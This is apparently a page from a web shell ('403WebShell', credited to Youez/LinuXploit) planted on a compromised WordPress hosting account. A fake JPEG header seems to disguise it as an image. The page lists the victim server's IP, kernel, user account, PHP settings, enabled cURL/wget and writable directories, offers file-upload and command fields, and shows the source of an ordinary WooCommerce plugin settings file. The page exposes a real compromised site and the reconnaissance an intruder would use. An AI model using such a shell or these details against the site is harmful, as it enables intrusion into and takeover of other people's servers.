���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.176  /  Your IP : 216.73.216.222
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/omjaindia.com/public_html/wp-content/plugins/dashify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/omjaindia.com/public_html/wp-content/plugins/dashify/settings.php
<?php

class Dashify_Settings {
	private static $instance = null;

	private function __construct() {}

	public static function get_instance() {
		if ( self::$instance == null ) {
			self::$instance = new Dashify_Settings();
		}
		return self::$instance;
	}

	public function init() {
		add_filter(
			'woocommerce_settings_tabs_array',
			array( $this, 'add_settings_tab' ),
			98
		);
		add_action(
			'woocommerce_settings_dashify',
			array( $this, 'render_settings' )
		);
		add_action(
			'woocommerce_settings_save_dashify',
			array( $this, 'save_settings' )
		);
	}

	function add_settings_tab( $settings_tabs ) {
		$settings_tabs['dashify'] = __( 'Dashify', 'dashify' );
		return $settings_tabs;
	}

	function render_settings() {
		WC_Admin_Settings::output_fields( $this->get_settings_fields() );
	}

	function save_settings() {
		WC_Admin_Settings::save_fields( $this->get_settings_fields() );
		// See https://stackoverflow.com/a/40406068 for why an additional
		// redirect is needed. In short, the option is not updated right away,
		// and so without this, an additional page load is required before the
		// correct value returns from get_option().
		header( 'Location: ' . $_SERVER['REQUEST_URI'] );
	}

	private function get_settings_fields() {
		// By using add_filter( 'dashify_settings', … ) features can add
		// their settings without feature-specific code having to be in this file.
		$fields   = apply_filters(
			'dashify_settings',
			array(
				array(
					'title' => 'Dashify',
					'type'  => 'title',
					'desc'  => 'Enable or disable individual Dashify features and customize their behavior.',
				),
			)
		);
		$fields[] = array( 'type' => 'sectionend' );
		return $fields;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit